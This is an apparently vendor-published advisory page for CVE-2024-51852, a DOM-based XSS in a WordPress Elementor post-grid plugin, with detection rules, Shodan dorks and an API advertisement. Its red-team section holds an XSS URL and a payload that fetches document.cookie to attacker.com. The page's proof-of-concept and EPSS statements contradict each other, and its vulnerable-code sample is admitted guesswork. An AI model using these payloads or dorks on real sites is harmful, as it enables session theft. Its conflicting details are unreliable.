☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Maidul logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-51852

CVE-2024-51852 Cross-Site Scripting in Maidul
📅 PUBLISHED: 2024-11-19 17:15 UTC 🔄 UPDATED: 2026-08-12 14:51 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
4.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-51852 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Dynamic Post Grid Elementor Addon" by Maidul, affecting versions up to and including 1.0.6. The vulnerability stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. This is a client-side attack vector, typically requiring user interaction (e.g., clicking a crafted link). The CVSS score is 6.5 (Medium), with a low EPSS probability of exploitation (0.0%). No public proof-of-concept or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is launched over a network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must click a malicious link or visit a crafted page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify content.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.5, the lack of public exploits and low EPSS score reduce immediate risk. However, the vulnerability is unpatched, making it a persistent threat for users of the plugin.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the malicious payload is executed entirely on the client side without being sent to the server. The plugin likely processes user-controlled input (e.g., via URL parameters or DOM manipulation) and injects it into the page without proper sanitization. For example, a parameter like ?post_id=123 might be reflected in the DOM and executed as JavaScript if it contains <script> tags.

The attack flow:

  1. Attacker crafts a malicious URL containing a JavaScript payload.
  2. Victim clicks the link or visits a page with the injected payload.
  3. The plugin's JavaScript code reads the payload from the DOM (e.g., document.location.hash or document.URL) and writes it to the page using innerHTML or similar methods.
  4. The browser executes the injected script, allowing the attacker to steal cookies, redirect the user, or perform other malicious actions.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code
var postId = window.location.hash.substring(1);
document.getElementById('post-grid').innerHTML = '<div>' + postId + '</div>';

A patched version would sanitize the input:

// Patched code
var postId = window.location.hash.substring(1);
var safePostId = document.createTextNode(postId);
document.getElementById('post-grid').appendChild(safePostId);

Exploitation & Lab Setup

Red Team

Objective: Demonstrate DOM-Based XSS exploitation.

Setup:

  1. Install WordPress with the vulnerable plugin (version 1.0.6).
  2. Create a page using the Elementor addon that includes the dynamic post grid.

Exploit:

  1. Craft a malicious URL:
    http://target-site.com/?post_id=<script>alert('XSS')</script>
    
  2. Send the link to a victim (simulated via browser).
  3. The script executes, showing an alert box.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

  • Monitor web server logs for unusual URL parameters containing <script> or onerror= patterns.
  • Use browser-based XSS filters (e.g., X-XSS-Protection header).
  • Implement Content Security Policy (CSP) to block inline scripts.

Mitigation:

  • Disable or remove the vulnerable plugin until a patch is released.
  • Use a Web Application Firewall (WAF) to block XSS payloads.
  • Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

  • Network: HTTP requests containing ?post_id=<script> or similar patterns.
  • Host: Presence of the plugin directory /wp-content/plugins/dynamic-post-grid-elementor-addon/.
  • Browser: Execution of unexpected JavaScript (e.g., alert() or fetch() to unknown domains).
  • Logs: Server logs showing GET /?post_id=<script>alert(1)</script>.

Detection Engineering

YARA Rule

rule CVE_2024_51852_DOM_XSS {
    meta:
        description = "Detects DOM-Based XSS in Dynamic Post Grid Elementor Addon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51852"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: DOM-Based XSS in Dynamic Post Grid Elementor Addon
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-Based XSS attacks against CVE-2024-51852
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of script tags in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51852 DOM-Based XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"?post_id="; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable the "Dynamic Post Grid Elementor Addon" plugin until a patch is released.
  2. Short-term: Implement a Web Application Firewall (WAF) rule to block XSS payloads in URL parameters.
  3. Long-term: Monitor the plugin's official page for updates. Apply the patch as soon as it becomes available.
  4. User Education: Train users to avoid clicking suspicious links and to report unusual behavior.
  5. Code Review: If you are a developer, ensure all user input is sanitized using textContent or createTextNode instead of innerHTML.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"dynamic-post-grid-elementor-addon"
http.html:"Dynamic Post Grid Elementor Addon"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-51852/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.